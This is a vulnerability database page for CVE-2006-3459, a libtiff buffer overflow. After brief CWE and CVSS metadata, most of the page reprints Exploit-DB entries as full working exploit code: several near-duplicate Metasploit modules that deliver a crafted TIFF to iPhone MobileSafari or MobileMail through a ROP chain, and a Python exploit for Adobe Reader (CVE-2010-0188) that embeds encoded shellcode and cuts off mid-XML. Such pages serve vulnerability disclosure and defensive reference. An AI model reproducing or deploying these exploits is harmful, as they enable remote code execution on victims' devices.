CVE-2006-3459 Detail

CVE-2006-3459

CVE Descriptions

Multiple stack-based buffer overflows in the TIFF library (libtiff) before 3.8.2, as used in Adobe Reader 9.3.0 and other products, allow context-dependent attackers to execute arbitrary code or cause a denial of service via unspecified vectors, including a large tdir_count value in the TIFFFetchShortPair function in tif_dirread.c.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 16862

Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload. }, 'License' => MSF_LICENSE, 'Author' => ['hdm', 'kf'], 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2006-3459'], ['OSVDB', '27723'], ['BID', '19283'] ], 'Payload' => { 'Space' => 1800, 'BadChars' => "", # Multi-threaded applications are not allowed to execve() on OS X # This stub injects a vfork/exit in front of the payload 'Prepend' => [ 0xe3a0c042, # vfork 0xef000080, # sc 0xe3500000, # cmp r0, #0 0x1a000001, # bne 0xe3a0c001, # exit(0) 0xef000080 # sc ].pack("V*") }, 'Targets' => [ [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)', { 'Platform' => 'osx', # Scratch space for our shellcode and stack 'Heap' => 0x00802000, # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib 'Magic' => 0x300d562c, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 01 2006' )) end def on_request_uri(cli, req) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Grab reference to the target t = target print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' }) # Handle the payload handler(cli) end def generate_tiff(code, targ) # # This is a TIFF file, we have a huge range of evasion # capabilities, but for now, we don't use them. # - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday # lolz = 2048 tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+ "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+ "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+ "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+ "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+ [lolz].pack("V") + "\x84\x00\x00\x00\x00\x00\x00\x00" # Randomize the bajeezus out of our data hehe = rand_text(lolz) # Were going to candy mountain! hehe[120, 4] = [targ['Magic']].pack("V") # >> add r0, r4, #0x30 hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V") # Candy mountain, Charlie! # >> mov r1, sp # It will be an adventure! # >> mov r2, r8 hehe[ 92, 4] = [ hehe.length ].pack("V") # Its a magic leoplurodon! # It has spoken! # It has shown us the way! # >> bl _memcpy # Its just over this bridge, Charlie! # This magical bridge! # >> ldr r3, [r4, #32] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #32] # >> ldr r3, [r4, #36] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #36] # >> ldr r3, [r4, #40] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #40] # >> ldr r3, [r4, #44] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #44] # We made it to candy mountain! # Go inside Charlie! # sub sp, r7, #0x14 hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V") # Goodbye Charlie! # ;; targ['Heap'] + 0x48 becomes the stack pointer # >> ldmia sp!, {r8, r10} # Hey, what the...! # >> ldmia sp!, {r4, r5, r6, r7, pc} # Return back to the copied heap data hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V") # Insert our actual shellcode at heap location + 196 hehe[196, payload.encoded.length] = payload.encoded tiff << hehe end end

Exploit Database EDB-ID : 16868

Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload. }, 'License' => MSF_LICENSE, 'Author' => ['hdm', 'kf'], 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2006-3459'], ['OSVDB', '27723'], ['BID', '19283'] ], 'Payload' => { 'Space' => 1800, 'BadChars' => "" }, 'Targets' => [ [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)', { 'Platform' => 'osx', # Scratch space for our shellcode and stack 'Heap' => 0x00802000, # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib 'Magic' => 0x300d562c, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 01 2006' )) end def on_request_uri(cli, req) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Grab reference to the target t = target print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' }) # Handle the payload handler(cli) end def generate_tiff(code, targ) # # This is a TIFF file, we have a huge range of evasion # capabilities, but for now, we don't use them. # - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday # lolz = 2048 tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+ "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+ "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+ "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+ "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+ [lolz].pack("V") + "\x84\x00\x00\x00\x00\x00\x00\x00" # Randomize the bajeezus out of our data hehe = rand_text(lolz) # Were going to candy mountain! hehe[120, 4] = [targ['Magic']].pack("V") # >> add r0, r4, #0x30 hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V") # Candy mountain, Charlie! # >> mov r1, sp # It will be an adventure! # >> mov r2, r8 hehe[ 92, 4] = [ hehe.length ].pack("V") # Its a magic leoplurodon! # It has spoken! # It has shown us the way! # >> bl _memcpy # Its just over this bridge, Charlie! # This magical bridge! # >> ldr r3, [r4, #32] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #32] # >> ldr r3, [r4, #36] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #36] # >> ldr r3, [r4, #40] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #40] # >> ldr r3, [r4, #44] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #44] # We made it to candy mountain! # Go inside Charlie! # sub sp, r7, #0x14 hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V") # Goodbye Charlie! # ;; targ['Heap'] + 0x48 becomes the stack pointer # >> ldmia sp!, {r8, r10} # Hey, what the...! # >> ldmia sp!, {r4, r5, r6, r7, pc} # Return back to the copied heap data hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V") # Insert our actual shellcode at heap location + 196 hehe[196, payload.encoded.length] = payload.encoded tiff << hehe end end

Exploit Database EDB-ID : 16869

Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mobilemail_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # # This module sends email messages via smtp # include Msf::Exploit::Remote::SMTPDeliver def initialize(info = {}) super(update_info(info, 'Name' => 'iPhone MobileMail LibTIFF Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload. }, 'License' => MSF_LICENSE, 'Author' => ['hdm', 'kf'], 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2006-3459'], ['OSVDB', '27723'], ['BID', '19283'] ], 'Stance' => Msf::Exploit::Stance::Passive, 'Payload' => { 'Space' => 1800, 'BadChars' => "", 'Compat' => { 'ConnectionType' => '-bind -find', }, }, 'Targets' => [ [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)', { 'Platform' => 'osx', # Scratch space for our shellcode and stack 'Heap' => 0x00802000, # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib 'Magic' => 0x300d562c, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 01 2006' )) end def autofilter false end def exploit exts = ['jpg', 'tiff', 'tif'] gext = exts[rand(exts.length)] name = rand_text_alpha(rand(10)+1) + ".#{gext}" data = Rex::Text.rand_text_alpha(rand(32)+1) tiff = generate_tiff(target) msg = Rex::MIME::Message.new msg.mime_defaults msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline") msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext) send_message(msg.to_s) print_status("Waiting for a payload session (backgrounding)...") end def generate_tiff(targ) # # This is a TIFF file, we have a huge range of evasion # capabilities, but for now, we don't use them. # - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday # lolz = 2048 tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+ "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+ "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+ "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+ "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+ [lolz].pack("V") + "\x84\x00\x00\x00\x00\x00\x00\x00" # Randomize the bajeezus out of our data hehe = rand_text(lolz) # Were going to candy mountain! hehe[120, 4] = [targ['Magic']].pack("V") # >> add r0, r4, #0x30 hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V") # Candy mountain, Charlie! # >> mov r1, sp # It will be an adventure! # >> mov r2, r8 hehe[ 92, 4] = [ hehe.length ].pack("V") # Its a magic leoplurodon! # It has spoken! # It has shown us the way! # >> bl _memcpy # Its just over this bridge, Charlie! # This magical bridge! # >> ldr r3, [r4, #32] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #32] # >> ldr r3, [r4, #36] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #36] # >> ldr r3, [r4, #40] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #40] # >> ldr r3, [r4, #44] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #44] # We made it to candy mountain! # Go inside Charlie! # sub sp, r7, #0x14 hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V") # Goodbye Charlie! # ;; targ['Heap'] + 0x48 becomes the stack pointer # >> ldmia sp!, {r8, r10} # Hey, what the...! # >> ldmia sp!, {r4, r5, r6, r7, pc} # Return back to the copied heap data hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V") # Insert our actual shellcode at heap location + 196 hehe[196, payload.encoded.length] = payload.encoded tiff << hehe end end

Exploit Database EDB-ID : 21869

Publication date : 2012-10-08 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mobilemail_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # # This module sends email messages via smtp # include Msf::Exploit::Remote::SMTPDeliver def initialize(info = {}) super(update_info(info, 'Name' => 'Apple iOS MobileMail LibTIFF Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload. }, 'License' => MSF_LICENSE, 'Author' => ['hdm', 'kf'], 'Version' => '$Revision: 15950 $', 'References' => [ ['CVE', '2006-3459'], ['OSVDB', '27723'], ['BID', '19283'] ], 'Stance' => Msf::Exploit::Stance::Passive, 'Payload' => { 'Space' => 1800, 'BadChars' => "", 'Compat' => { 'ConnectionType' => '-bind -find', }, }, 'Arch' => ARCH_ARMLE, 'Targets' => [ [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)', { 'Platform' => 'osx', # Scratch space for our shellcode and stack 'Heap' => 0x00802000, # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib 'Magic' => 0x300d562c, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 01 2006' )) end def autofilter false end def exploit exts = ['jpg', 'tiff', 'tif'] gext = exts[rand(exts.length)] name = rand_text_alpha(rand(10)+1) + ".#{gext}" data = Rex::Text.rand_text_alpha(rand(32)+1) tiff = generate_tiff(target) msg = Rex::MIME::Message.new msg.mime_defaults msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline") msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext) send_message(msg.to_s) print_status("Waiting for a payload session (backgrounding)...") end def generate_tiff(targ) # # This is a TIFF file, we have a huge range of evasion # capabilities, but for now, we don't use them. # - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday # lolz = 2048 tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+ "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+ "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+ "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+ "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+ [lolz].pack("V") + "\x84\x00\x00\x00\x00\x00\x00\x00" # Randomize the bajeezus out of our data hehe = rand_text(lolz) # Were going to candy mountain! hehe[120, 4] = [targ['Magic']].pack("V") # >> add r0, r4, #0x30 hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V") # Candy mountain, Charlie! # >> mov r1, sp # It will be an adventure! # >> mov r2, r8 hehe[ 92, 4] = [ hehe.length ].pack("V") # Its a magic leoplurodon! # It has spoken! # It has shown us the way! # >> bl _memcpy # Its just over this bridge, Charlie! # This magical bridge! # >> ldr r3, [r4, #32] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #32] # >> ldr r3, [r4, #36] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #36] # >> ldr r3, [r4, #40] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #40] # >> ldr r3, [r4, #44] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #44] # We made it to candy mountain! # Go inside Charlie! # sub sp, r7, #0x14 hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V") # Goodbye Charlie! # ;; targ['Heap'] + 0x48 becomes the stack pointer # >> ldmia sp!, {r8, r10} # Hey, what the...! # >> ldmia sp!, {r4, r5, r6, r7, pc} # Return back to the copied heap data hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V") # Insert our actual shellcode at heap location + 196 hehe[196, payload.encoded.length] = payload.encoded tiff << hehe end end

Exploit Database EDB-ID : 21868

Publication date : 2012-10-08 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: safari_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload. }, 'License' => MSF_LICENSE, 'Author' => ['hdm', 'kf'], 'Version' => '$Revision: 15950 $', 'References' => [ ['CVE', '2006-3459'], ['OSVDB', '27723'], ['BID', '19283'] ], 'Payload' => { 'Space' => 1800, 'BadChars' => "", # Multi-threaded applications are not allowed to execve() on OS X # This stub injects a vfork/exit in front of the payload 'Prepend' => [ 0xe3a0c042, # vfork 0xef000080, # sc 0xe3500000, # cmp r0, #0 0x1a000001, # bne 0xe3a0c001, # exit(0) 0xef000080 # sc ].pack("V*") }, 'Arch' => ARCH_ARMLE, 'Targets' => [ [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)', { 'Platform' => 'osx', # Scratch space for our shellcode and stack 'Heap' => 0x00802000, # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib 'Magic' => 0x300d562c, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 01 2006' )) end def on_request_uri(cli, req) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Grab reference to the target t = target print_status("Sending exploit") # Transmit the compressed response to the client send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' }) # Handle the payload handler(cli) end def generate_tiff(code, targ) # # This is a TIFF file, we have a huge range of evasion # capabilities, but for now, we don't use them. # - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday # lolz = 2048 tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+ "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+ "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+ "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+ "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+ "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+ [lolz].pack("V") + "\x84\x00\x00\x00\x00\x00\x00\x00" # Randomize the bajeezus out of our data hehe = rand_text(lolz) # Were going to candy mountain! hehe[120, 4] = [targ['Magic']].pack("V") # >> add r0, r4, #0x30 hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V") # Candy mountain, Charlie! # >> mov r1, sp # It will be an adventure! # >> mov r2, r8 hehe[ 92, 4] = [ hehe.length ].pack("V") # Its a magic leoplurodon! # It has spoken! # It has shown us the way! # >> bl _memcpy # Its just over this bridge, Charlie! # This magical bridge! # >> ldr r3, [r4, #32] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #32] # >> ldr r3, [r4, #36] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #36] # >> ldr r3, [r4, #40] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #40] # >> ldr r3, [r4, #44] # >> ldrt r3, [pc], r3, lsr #30 # >> str r3, [r4, #44] # We made it to candy mountain! # Go inside Charlie! # sub sp, r7, #0x14 hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V") # Goodbye Charlie! # ;; targ['Heap'] + 0x48 becomes the stack pointer # >> ldmia sp!, {r8, r10} # Hey, what the...! # >> ldmia sp!, {r4, r5, r6, r7, pc} # Return back to the copied heap data hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V") # Insert our actual shellcode at heap location + 196 hehe[196, payload.encoded.length] = payload.encoded tiff << hehe end end

Exploit Database EDB-ID : 11787

Publication date : 2010-03-16 23h00 +00:00
Author : villy
EDB Verified : Yes

__doc__=''' Title: Adobe PDF LibTiff Integer Overflow Code Execution. Product: Adobe Acrobat Reader Version: <=8.3.0, <=9.3.0 CVE: 2010-0188 Author: villy (villys777 at gmail.com) Site: http://bugix-security.blogspot.com/ Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3) ------------------------------------------------------------------------ ''' import sys import base64 import struct import zlib import StringIO SHELLCODE_OFFSET=0x555 TIFF_OFSET=0x2038 # windows/exec - 227 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=process, CMD=calc.exe buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4" buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63" buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98" buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1" buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5" buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56" buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0" buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a" buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6" buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60" buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff" buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c" buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff" buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e" buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff" buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2" buf += "\x09\xc1\x5f\x00" class CVE20100188Exploit: def __init__(self,shellcode): self.shellcode = shellcode self.tiff64=base64.b64encode(self.gen_tiff()) def gen_tiff(self): tiff = '\x49\x49\x2a\x00' tiff += struct.pack("<L", TIFF_OFSET) tiff += '\x90' * (SHELLCODE_OFFSET) tiff += self.shellcode tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET) tiff += "\x07\x00\x00\x01\x03\x00\x01\x00" tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00" tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01" tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00" tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20" tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00" tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01" tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15" tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00" tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8" tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C" tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01" tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15" tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11" tiff += "\x00\x07" return tiff def gen_xml(self): xml= '''<?xml version="1.0" encoding="UTF-8" ?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config xmlns="http://www.xfa.org/schema/xci/1.0/"> <present> <pdf> <version>1.65</version> <interactive>1</interactive> <linearized>1</linearized> 